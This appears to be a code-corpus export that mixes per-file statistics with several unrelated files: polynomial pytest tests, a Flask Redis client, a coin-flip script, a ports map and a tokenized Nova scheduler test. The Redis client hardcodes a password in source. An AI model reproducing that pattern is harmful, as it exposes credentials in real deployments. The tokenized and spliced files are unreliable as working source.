triangles = rectangle_triangulation() vertices = rectangle_vertices(1, 1)[:, 0:2] dim = 2 * get_dimension(r, 2) coeff = np.random.rand(dim) return PiecewisePolynomialLagrange(coeff, triangles, vertices, r) def create_vector_valued_bivariate_piecewise_polynomial(): triangles = rectangle_triangulation() vertices = rectangle_vertices(1, 1)[:, 0:2] r = 2 coeff = [[1, 1], [2, 2], [3, 3], [4, 4], [5, 5], [6, 6], [1, 1], [2, 2], [3, 3], [4, 4], [5, 5], [6, 6]] return PiecewisePolynomialLagrange(coeff, triangles, vertices, r) def create_random_vector_valued_bivariate_piecewise_polynomial(r=2): triangles = rectangle_triangulation() vertices = rectangle_vertices(1, 1)[:, 0:2] dim = 2 * get_dimension(r, 2) coeff = np.random.random_sample((dim, 2)) return PiecewisePolynomialLagrange(coeff, triangles, vertices, r) def test_call(): # Test calling a scalar valued univariate piecewise polynomial p = create_scalar_valued_univariate_piecewise_polynomial() expected_value = 1.5 assert abs(p(0.0625) - expected_value) < 1e-12 assert abs(p(0.3125) - expected_value) < 1e-12 assert abs(p(0.5625) - expected_value) < 1e-12 assert abs(p(0.8125) - expected_value) < 1e-12 # Test calling a vector valued univariate piecewise polynomial p = create_vector_valued_univariate_piecewise_polynomial() expected_value = np.array([1.5, 1.5]) assert np.linalg.norm(p(0.0625) - expected_value) < 1e-12 assert np.linalg.norm(p(0.3125) - expected_value) < 1e-12 assert np.linalg.norm(p(0.5625) - expected_value) < 1e-12 assert np.linalg.norm(p(0.8125) - expected_value) < 1e-12 # Test calling a scalar valued bivariate piecewise polynomial p = create_scalar_valued_bivariate_piecewise_polynomial() expected_value = 3.7777777777777772 assert abs(p([-1 / 6, -1 / 6]) - expected_value) < 1e-12 assert abs(p([1 / 6, 1 / 6]) - expected_value) < 1e-12 # Test calling a vector valued bivariate piecewise polynomial p = create_vector_valued_bivariate_piecewise_polynomial() expected_value = np.array([3.7777777777777772, 3.7777777777777772]) assert np.linalg.norm(p([-1 / 6, -1 / 6]) - expected_value) < 1e-12 assert np.linalg.norm(p([1 / 6, 1 / 6]) - expected_value) < 1e-12 def test_getitem(): # Test getting the components of a scalar valued univariate piecewise polynomial p = create_scalar_valued_univariate_piecewise_polynomial() def p0_expected(x): return p(x) assert piecewise_polynomials_equal(p[0], p0_expected, 2) # Test getting the components of a vector valued univariate piecewise polynomial p = create_vector_valued_univariate_piecewise_polynomial() for i in range(2): def pi_expected(x): return p(x)[i] assert piecewise_polynomials_equal(p[i], pi_expected, 2) # Test getting the components of a scalar valued bivariate piecewise polynomial p = create_scalar_valued_bivariate_piecewise_polynomial() def p0_expected(x): return p(x) assert piecewise_polynomials_equal(p[0], p0_expected, 2) # Test getting the components of a vector valued bivariate piecewise polynomial p = create_vector_valued_bivariate_piecewise_polynomial() for i in range(2): def pi_expected(x): return p(x)[i] assert piecewise_polynomials_equal(p[i], pi_expected, 2) def test_add(): # Test adding two scalar valued univariate piecewise polynomials p1 = create_random_scalar_valued_univariate_piecewise_polynomial() p2 = create_random_scalar_valued_univariate_piecewise_polynomial() def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) # Test adding two vector valued univariate piecewise polynomials p1 = create_random_vector_valued_univariate_piecewise_polynomial() p2 = create_random_vector_valued_univariate_piecewise_polynomial() def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) # Test adding two scalar valued bivariate piecewise polynomials p1 = create_random_scalar_valued_bivariate_piecewise_polynomial() p2 = create_random_scalar_valued_bivariate_piecewise_polynomial() def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) # Test adding two vector valued bivariate piecewise polynomials p1 = create_random_vector_valued_bivariate_piecewise_polynomial() p2 = create_random_vector_valued_bivariate_piecewise_polynomial() def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) # Test adding two scalar valued univariate piecewise polynomials of different degree p1 = create_random_scalar_valued_univariate_piecewise_polynomial(2) p2 = create_random_scalar_valued_univariate_piecewise_polynomial(3) def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) # Test adding two vector valued univariate piecewise polynomials of different degree p1 = create_random_vector_valued_univariate_piecewise_polynomial(2) p2 = create_random_vector_valued_univariate_piecewise_polynomial(3) def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) # Test adding two scalar valued bivariate piecewise polynomials of different degree p1 = create_random_scalar_valued_bivariate_piecewise_polynomial(3) p2 = create_random_scalar_valued_bivariate_piecewise_polynomial(2) def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) # Test adding two vector valued bivariate piecewise polynomials of different degree p1 = create_random_vector_valued_bivariate_piecewise_polynomial(2) p2 = create_random_vector_valued_bivariate_piecewise_polynomial(3) def p_expected(x): return p1(x) + p2(x) assert piecewise_polynomials_equal(p1 + p2, p_expected) def test_sub(): # Test subtracting two scalar valued univariate piecewise polynomials p1 = create_random_scalar_valued_univariate_piecewise_polynomial() p2 = create_random_scalar_valued_univariate_piecewise_polynomial() def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) # Test subtracting two vector valued univariate piecewise polynomials p1 = create_random_vector_valued_univariate_piecewise_polynomial() p2 = create_random_vector_valued_univariate_piecewise_polynomial() def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) # Test subtracting two scalar valued bivariate piecewise polynomials p1 = create_random_scalar_valued_bivariate_piecewise_polynomial() p2 = create_random_scalar_valued_bivariate_piecewise_polynomial() def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) # Test subtracting two vector valued bivariate piecewise polynomials p1 = create_random_vector_valued_bivariate_piecewise_polynomial() p2 = create_random_vector_valued_bivariate_piecewise_polynomial() def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) # Test subtracting two scalar valued univariate piecewise polynomials of different degree p1 = create_random_scalar_valued_univariate_piecewise_polynomial(2) p2 = create_random_scalar_valued_univariate_piecewise_polynomial(3) def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) # Test subtracting two vector valued univariate piecewise polynomials of different degree p1 = create_random_vector_valued_univariate_piecewise_polynomial(2) p2 = create_random_vector_valued_univariate_piecewise_polynomial(3) def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) # Test subtracting two scalar valued bivariate piecewise polynomials of different degree p1 = create_random_scalar_valued_bivariate_piecewise_polynomial(3) p2 = create_random_scalar_valued_bivariate_piecewise_polynomial(2) def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) # Test subtracting two vector valued bivariate piecewise polynomials of different degree p1 = create_random_vector_valued_bivariate_piecewise_polynomial(2) p2 = create_random_vector_valued_bivariate_piecewise_polynomial(3) def p_expected(x): return p1(x) - p2(x) assert piecewise_polynomials_equal(p1 - p2, p_expected) def test_mul(): # Test multiplying a scalar valued univariate piecewise polynomial with a scalar p = create_random_scalar_valued_univariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return s * p(x) assert piecewise_polynomials_equal(s * p, p_expected) # Test multiplying a vector valued univariate piecewise polynomial with a scalar p = create_random_vector_valued_univariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return s * p(x) assert piecewise_polynomials_equal(s * p, p_expected) # Test multiplying a scalar valued bivariate piecewise polynomial with a scalar p = create_random_scalar_valued_bivariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return s * p(x) assert piecewise_polynomials_equal(s * p, p_expected) # Test multiplying a vector valued bivariate piecewise polynomial with a scalar p = create_random_vector_valued_bivariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return s * p(x) assert piecewise_polynomials_equal(s * p, p_expected) # Test multiplying a scalar valued univariate piecewise polynomial with a vector p = create_random_scalar_valued_univariate_piecewise_polynomial() v = np.random.rand(2) def p_expected(x): return v * p(x) assert piecewise_polynomials_equal(p * v, p_expected) # Test multiplying a scalar valued bivariate piecewise polynomial with a vector p = create_random_scalar_valued_bivariate_piecewise_polynomial() v = np.random.rand(2) def p_expected(x): return v * p(x) assert piecewise_polynomials_equal(p * v, p_expected) # Test multiplying two scalar valued univariate piecewise polynomials p1 = create_random_scalar_valued_univariate_piecewise_polynomial(2) p2 = create_random_scalar_valued_univariate_piecewise_polynomial(3) def p_expected(x): return p1(x) * p2(x) assert piecewise_polynomials_equal(p1 * p2, p_expected) # Test multiplying two scalar valued bivariate piecewise polynomials p1 = create_random_scalar_valued_bivariate_piecewise_polynomial(3) p2 = create_random_scalar_valued_bivariate_piecewise_polynomial(2) def p_expected(x): return p1(x) * p2(x) assert piecewise_polynomials_equal(p1 * p2, p_expected) def test_div(): # Test dividing a scalar valued univariate piecewise polynomial with a scalar p = create_random_scalar_valued_univariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return p(x) / s assert piecewise_polynomials_equal(p / s, p_expected) # Test dividing a vector valued univariate piecewise polynomial with a scalar p = create_random_vector_valued_univariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return p(x) / s assert piecewise_polynomials_equal(p / s, p_expected) # Test dividing a scalar valued bivariate piecewise polynomial with a scalar p = create_random_scalar_valued_bivariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return p(x) / s assert piecewise_polynomials_equal(p / s, p_expected) # Test dividing a vector valued bivariate piecewise polynomial with a scalar p = create_random_vector_valued_bivariate_piecewise_polynomial() s = np.random.rand() def p_expected(x): return p(x) / s assert piecewise_polynomials_equal(p / s, p_expected) @pytest.mark.slow def test_pow(): # Test taking the power of a scalar valued univariate piecewise polynomial p = create_random_scalar_valued_univariate_piecewise_polynomial() r = 3 for exponent in range(r): def p_expected(x): return p(x)**exponent assert piecewise_polynomials_equal(p**exponent, p_expected) # Test taking the power of a vector valued univariate piecewise polynomial p = create_random_vector_valued_univariate_piecewise_polynomial() r = 3 for exponent in multiindex.generate_all(2, r): def p_expected(x): return multiindex.power(p(x), exponent) assert piecewise_polynomials_equal(p**exponent, p_expected) # Test taking the power of a scalar valued bivariate piecewise polynomial p = create_random_scalar_valued_bivariate_piecewise_polynomial() r = 3 for exponent in range(r): def p_expected(x): return p(x)**exponent assert piecewise_polynomials_equal(p**exponent, p_expected) # Test taking the power of a vector valued bivariate piecewise polynomial p = create_random_vector_valued_bivariate_piecewise_polynomial() r = 3 for exponent in multiindex.generate_all(2, r): def p_expected(x): return multiindex.power(p(x), exponent) assert piecewise_polynomials_equal(p**exponent, p_expected) def test_degree_elevate(): # Test degree elevating a scalar valued univariate piecewise polynomial p = create_random_scalar_valued_univariate_piecewise_polynomial() r = p.degree() for s in range(r, r + 3): q = p.degree_elevate(s) assert piecewise_polynomials_equal(p, q) # Test degree elevating a vector valued univariate piecewise polynomial p = create_random_vector_valued_univariate_piecewise_polynomial() r = p.degree() for s in range(r, r + 3): q = p.degree_elevate(s) assert piecewise_polynomials_equal(p, q) # Test degree elevating a scalar valued bivariate piecewise polynomial p = create_random_scalar_valued_bivariate_piecewise_polynomial() r = p.degree() for s in range(r, r + 3): q = p.degree_elevate(s) assert piecewise_polynomials_equal(p, q) # Test degree elevating a vector valued bivariate piecewise polynomial p = create_random_vector_valued_bivariate_piecewise_polynomial() r = p.degree() for s in range(r, r + 3): q = p.degree_elevate(s) assert piecewise_polynomials_equal(p, q) def test_restrict_to_simplex(): # Test restricting a scalar valued univariate piecewise polynomial to individual edges in the triangulation p = create_random_scalar_valued_univariate_piecewise_polynomial() for i in range(len(p.triangles)): p_rest = p.restrict_to_simplex(i) vertices = simplex_vertices(p.triangles[i], p.vertices) assert polynomials_equal_on_simplex(p_rest, p, p.degree(), vertices) # Test restricting a vector valued univariate piecewise polynomial to individual edges in the triangulation p = create_random_vector_valued_univariate_piecewise_polynomial() for i in range(len(p.triangles)): p_rest = p.restrict_to_simplex(i) vertices = simplex_vertices(p.triangles[i], p.vertices) assert polynomials_equal_on_simplex(p_rest, p, p.degree(), vertices) # Test restricting a scalar valued bivariate piecewise polynomial to individual triangles in the triangulation p = create_random_scalar_valued_bivariate_piecewise_polynomial() for i in range(len(p.triangles)): p_rest = p.restrict_to_simplex(i) vertices = simplex_vertices(p.triangles[i], p.vertices) assert polynomials_equal_on_simplex(p_rest, p, p.degree(), vertices) # Test restricting a vector valued bivariate piecewise polynomial to individual triangles in the triangulation p = create_random_vector_valued_bivariate_piecewise_polynomial() for i in range(len(p.triangles)): p_rest = p.restrict_to_simplex(i) vertices = simplex_vertices(p.triangles[i], p.vertices) assert polynomials_equal_on_simplex(p_rest, p, p.degree(), vertices) def delta(i, j): if i == j: return 1.0 else: return 0.0 class TestUnivariateLagrangeBasis: @staticmethod def test_basis(): m = 1 res = 5 lines = line_strip_primitives(res) vertices = np.linspace(0, 1, res) for r in range(4): tau, num_dofs = generate_local_to_global_map(lines, r) tau_inv = generate_inverse_local_to_global_map(tau, len(lines), num_dofs, r, m) basis = piecewise_polynomial_lagrange_basis(lines, vertices, r, tau) dual_basis = dual_piecewise_polynomial_lagrange_basis(lines, vertices, r, tau, num_dofs, tau_inv) for i in range(num_dofs): for j in range(num_dofs): assert abs(dual_basis[j](basis[i]) - delta(i, j)) < 1e-15 class TestBivariateLagrangeBasis: @staticmethod @pytest.mark.slow def test_basis(): m = 2 res = 5 triangles = rectangle_triangulation(res, res) vertices = unit_square_vertices(res, res)[:, 0:2] for r in range(4): tau, num_dofs = generate_local_to_global_map(triangles, r) tau_inv = generate_inverse_local_to_global_map(tau, len(triangles), num_dofs, r, m) basis = piecewise_polynomial_lagrange_basis(triangles, vertices, r, tau) dual_basis = dual_piecewise_polynomial_lagrange_basis(triangles, vertices, r, tau, num_dofs, tau_inv) for i in range(num_dofs): for j in range(num_dofs): assert abs(dual_basis[j](basis[i]) - delta(i, j)) < 1e-14 def test_zero_piecewise_polynomial(): # Test zero piecewise polynomial on a 1D mesh n = 5 lines = line_strip_primitives(n) vertices = np.linspace(0, 1, n) p = zero_piecewise_polynomial_lagrange(lines, vertices) assert p.basis() == "Lagrange" x = np.random.rand() assert abs(p(x)) < 1e-15 for n in [2, 3]: p = zero_piecewise_polynomial_lagrange(lines, vertices, n) assert p.basis() == "Lagrange" assert np.linalg.norm(p(x)) < 1e-15 # Test zero piecewise polynomial on a 2D mesh n = 5 triangles = rectangle_triangulation(n, n) vertices = unit_square_vertices(n, n)[:, 0:2] p = zero_piecewise_polynomial_lagrange(triangles, vertices) assert p.basis() == "Lagrange" x = np.random.rand(2) assert abs(p(x)) < 1e-15 for n in [2, 3]: p = zero_piecewise_polynomial_lagrange(triangles, vertices, n) assert p.basis() == "Lagrange" assert np.linalg.norm(p(x)) < 1e-15 # Test zero piecewise polynomial on a 3D mesh n = 5 triangles = rectangular_box_triangulation(n, n, n) vertices = unit_cube_vertices(n, n, n) p = zero_piecewise_polynomial_lagrange(triangles, vertices) assert p.basis() == "Lagrange" x = np.random.rand(3) assert abs(p(x)) < 1e-15 for n in [2, 3]: p = zero_piecewise_polynomial_lagrange(triangles, vertices, n) assert p.basis() == "Lagrange" assert np.linalg.norm(p(x)) < 1e-15 @pytest.mark.slow def test_unit_piecewise_polynomial(): # Test unit piecewise polynomial on a 1D mesh n = 5 lines = line_strip_primitives(n) vertices = np.linspace(0, 1, n) p = unit_piecewise_polynomial_lagrange(lines, vertices) assert p.basis() == "Lagrange" x = np.random.rand() assert abs(p(x) - 1) < 1e-15 for n in [2, 3]: p = unit_piecewise_polynomial_lagrange(lines, vertices, n) assert p.basis() == "Lagrange" assert np.linalg.norm(p(x) - np.ones(n)) < 1e-15 # Test unit piecewise polynomial on a 2D mesh n = 5 triangles = rectangle_triangulation(n, n) vertices = unit_square_vertices(n, n)[:, 0:2] p = unit_piecewise_polynomial_lagrange(triangles, vertices) assert p.basis() == "Lagrange" x = np.random.rand(2) assert abs(p(x) - 1) < 1e-15 for n in [2, 3]: p = unit_piecewise_polynomial_lagrange(triangles, vertices, n) assert p.basis() == "Lagrange" assert np.linalg.norm(p(x) - np.ones(n)) < 1e-15 # Test unit piecewise polynomial on a 3D mesh n = 5 triangles = rectangular_box_triangulation(n, n, n) vertices = unit_cube_vertices(n, n, n) p = unit_piecewise_polynomial_lagrange(triangles, vertices) assert p.basis() == "Lagrange" x = np.random.rand(3) assert abs(p(x) - 1) < 1e-15 for n in [2, 3]: p = unit_piecewise_polynomial_lagrange(triangles, vertices, n) assert p.basis() == "Lagrange" assert np.linalg.norm(p(x) - np.ones(n)) < 1e-15 if __name__ == '__main__': pytest.main(sys.argv)
36.933232
114
0.717655
3,316
24,339
5.006333
0.050965
0.155653
0.091862
0.109632
0.926209
0.913318
0.895428
0.889766
0.849226
0.841335
0
0.02676
0.198529
24,339
658
115
36.989362
0.824268
0.167632
0
0.792148
0
0
0.005153
0
0
0
0
0
0.189376
1
0.136259
false
0
0.025404
0.083141
0.274827
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f0b543ad246f2b06017fae7f4383a6a114457b98
137
py
Python
flask/web/middleware/flask_redis_client.py
cbfield/flask-docker-app
4018c1eb68c39c076433cce47dcacfca717f671c
[ "MIT" ]
null
null
null
flask/web/middleware/flask_redis_client.py
cbfield/flask-docker-app
4018c1eb68c39c076433cce47dcacfca717f671c
[ "MIT" ]
null
null
null
flask/web/middleware/flask_redis_client.py
cbfield/flask-docker-app
4018c1eb68c39c076433cce47dcacfca717f671c
[ "MIT" ]
null
null
null
import redis def get_redis_client(): return redis.Redis(host='redis', port=6379, password='SeCrEtPaSsWoRd', decode_responses=True)
22.833333
97
0.766423
18
137
5.666667
0.777778
0
0
0
0
0
0
0
0
0
0
0.032787
0.109489
137
5
98
27.4
0.803279
0
0
0
0
0
0.138686
0
0
0
0
0
0
1
0.333333
true
0.333333
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
1
1
1
0
0
8
f0cc4bd8eedaa4b1eee14f95bec5b911498b5a6d
663
py
Python
lab2/p6a.py
sarahmid/programming-bootcamp
6dc6ab0ecfac662eb9676956ab0ae799953e88ae
[ "MIT" ]
1
2020-11-06T03:29:24.000Z
2020-11-06T03:29:24.000Z
lab2/p6a.py
sarahmid/programming-bootcamp
6dc6ab0ecfac662eb9676956ab0ae799953e88ae
[ "MIT" ]
null
null
null
lab2/p6a.py
sarahmid/programming-bootcamp
6dc6ab0ecfac662eb9676956ab0ae799953e88ae
[ "MIT" ]
null
null
null
import random headsCount = 0 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 if random.randint(0,1) == 1: headsCount = headsCount + 1 print headsCount, "of 10 flips were heads"
18.942857
42
0.6727
101
663
4.415842
0.128713
0.179372
0.336323
0.358744
0.874439
0.874439
0.874439
0.874439
0.874439
0.874439
0
0.07963
0.18552
663
35
42
18.942857
0.746296
0
0
0.869565
0
0
0.033133
0
0
0
0
0
0
0
null
null
0
0.043478
null
null
0.043478
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
10
f0d1fc9299e94d39895c64a0c4ca600096926e78
580
py
Python
utils.py
lona9a/Crypt0Fr0g
1047bf1ecee8212fb6c2801d155083bf2c8d1770
[ "MIT" ]
2
2021-07-04T22:35:22.000Z
2021-11-06T00:05:13.000Z
utils.py
lona9a/Crypt0Fr0g
1047bf1ecee8212fb6c2801d155083bf2c8d1770
[ "MIT" ]
null
null
null
utils.py
lona9a/Crypt0Fr0g
1047bf1ecee8212fb6c2801d155083bf2c8d1770
[ "MIT" ]
null
null
null
def check_integer_format(text: str) -> bool: if text == "": return True if all(x in "0123456789" for x in text): try: int(text) return True except ValueError: return False else: return False def check_float_format(text: str) -> bool: if text == "": return True if all(x in "0123456789." for x in text) and text.count(".") <= 1: try: float(text) return True except ValueError: return False else: return False
16.571429
70
0.505172
68
580
4.25
0.367647
0.138408
0.193772
0.117647
0.809689
0.809689
0.809689
0.809689
0.809689
0.809689
0
0.061047
0.406897
580
34
71
17.058824
0.77907
0
0
0.727273
0
0
0.037931
0
0
0
0
0
0
1
0.090909
false
0
0
0
0.454545
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
f0dcc6d1a11cd082ed284858d40d1a2e484ab3dd
6,309
py
Python
nova/tests/unit/scheduler/filters/test_num_instances_filters.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/scheduler/filters/test_num_instances_filters.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/scheduler/filters/test_num_instances_filters.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
2
2017-07-20T17:31:34.000Z
2020-07-24T02:42:19.000Z
begin_unit comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may' nl|'\n' comment|'# not use this file except in compliance with the License. You may obtain' nl|'\n' comment|'# a copy of the License at' nl|'\n' comment|'#' nl|'\n' comment|'# http://www.apache.org/licenses/LICENSE-2.0' nl|'\n' comment|'#' nl|'\n' comment|'# Unless required by applicable law or agreed to in writing, software' nl|'\n' comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT' nl|'\n' comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the' nl|'\n' comment|'# License for the specific language governing permissions and limitations' nl|'\n' comment|'# under the License.' nl|'\n' nl|'\n' name|'import' name|'mock' newline|'\n' nl|'\n' name|'from' name|'nova' name|'import' name|'objects' newline|'\n' name|'from' name|'nova' op|'.' name|'scheduler' op|'.' name|'filters' name|'import' name|'num_instances_filter' newline|'\n' name|'from' name|'nova' name|'import' name|'test' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'scheduler' name|'import' name|'fakes' newline|'\n' nl|'\n' nl|'\n' DECL|class|TestNumInstancesFilter name|'class' name|'TestNumInstancesFilter' op|'(' name|'test' op|'.' name|'NoDBTestCase' op|')' op|':' newline|'\n' nl|'\n' DECL|member|test_filter_num_instances_passes indent|' ' name|'def' name|'test_filter_num_instances_passes' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'flags' op|'(' name|'max_instances_per_host' op|'=' number|'5' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'=' name|'num_instances_filter' op|'.' name|'NumInstancesFilter' op|'(' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' nl|'\n' op|'{' string|"'num_instances'" op|':' number|'4' op|'}' op|')' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_filter_num_instances_fails dedent|'' name|'def' name|'test_filter_num_instances_fails' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'flags' op|'(' name|'max_instances_per_host' op|'=' number|'5' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'=' name|'num_instances_filter' op|'.' name|'NumInstancesFilter' op|'(' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' nl|'\n' op|'{' string|"'num_instances'" op|':' number|'5' op|'}' op|')' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|"'nova.scheduler.filters.utils.aggregate_values_from_key'" op|')' newline|'\n' DECL|member|test_filter_aggregate_num_instances_value name|'def' name|'test_filter_aggregate_num_instances_value' op|'(' name|'self' op|',' name|'agg_mock' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'flags' op|'(' name|'max_instances_per_host' op|'=' number|'4' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'=' name|'num_instances_filter' op|'.' name|'AggregateNumInstancesFilter' op|'(' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' nl|'\n' op|'{' string|"'num_instances'" op|':' number|'5' op|'}' op|')' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|')' newline|'\n' name|'agg_mock' op|'.' name|'return_value' op|'=' name|'set' op|'(' op|'[' op|']' op|')' newline|'\n' comment|'# No aggregate defined for that host.' nl|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' name|'agg_mock' op|'.' name|'assert_called_once_with' op|'(' name|'host' op|',' string|"'max_instances_per_host'" op|')' newline|'\n' name|'agg_mock' op|'.' name|'return_value' op|'=' name|'set' op|'(' op|'[' string|"'6'" op|']' op|')' newline|'\n' comment|'# Aggregate defined for that host.' nl|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|"'nova.scheduler.filters.utils.aggregate_values_from_key'" op|')' newline|'\n' DECL|member|test_filter_aggregate_num_instances_value_error name|'def' name|'test_filter_aggregate_num_instances_value_error' op|'(' name|'self' op|',' name|'agg_mock' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'flags' op|'(' name|'max_instances_per_host' op|'=' number|'6' op|')' newline|'\n' name|'self' op|'.' name|'filt_cls' op|'=' name|'num_instances_filter' op|'.' name|'AggregateNumInstancesFilter' op|'(' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'node1'" op|',' op|'{' op|'}' op|')' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|')' newline|'\n' name|'agg_mock' op|'.' name|'return_value' op|'=' name|'set' op|'(' op|'[' string|"'XXX'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' name|'agg_mock' op|'.' name|'assert_called_once_with' op|'(' name|'host' op|',' string|"'max_instances_per_host'" op|')' newline|'\n' dedent|'' dedent|'' endmarker|'' end_unit
13.62635
88
0.631162
934
6,309
4.139186
0.143469
0.156751
0.08536
0.071392
0.793844
0.781428
0.765649
0.745991
0.714434
0.690119
0
0.003515
0.098114
6,309
462
89
13.655844
0.675923
0
0
0.930736
0
0
0.414329
0.08258
0
0
0
0
0.015152
0
null
null
0.015152
0.010823
null
null
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
f0e87144294f64d7d9741d634b30293c77bf8603
75
py
Python
ryu/app/spe_config.py
samrussell/ryu
a62aa7ecc6c0372cc2b633140005dc5e85ea6129
[ "Apache-2.0" ]
2
2015-12-07T06:55:31.000Z
2017-05-08T06:18:56.000Z
ryu/app/spe_config.py
samrussell/ryu
a62aa7ecc6c0372cc2b633140005dc5e85ea6129
[ "Apache-2.0" ]
null
null
null
ryu/app/spe_config.py
samrussell/ryu
a62aa7ecc6c0372cc2b633140005dc5e85ea6129
[ "Apache-2.0" ]
null
null
null
ports = { 1 : '10.1.1.1', 2 : '10.1.1.2', 3 : '10.1.1.3', }
15
19
0.306667
16
75
1.4375
0.3125
0.347826
0.521739
0
0
0
0
0
0
0
0
0.382979
0.373333
75
5
20
15
0.106383
0
0
0
0
0
0.315789
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
1
null
1
1
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5009aefb9944051342a3d6f93aecd46d90cbdcf3
62,519
py
Python
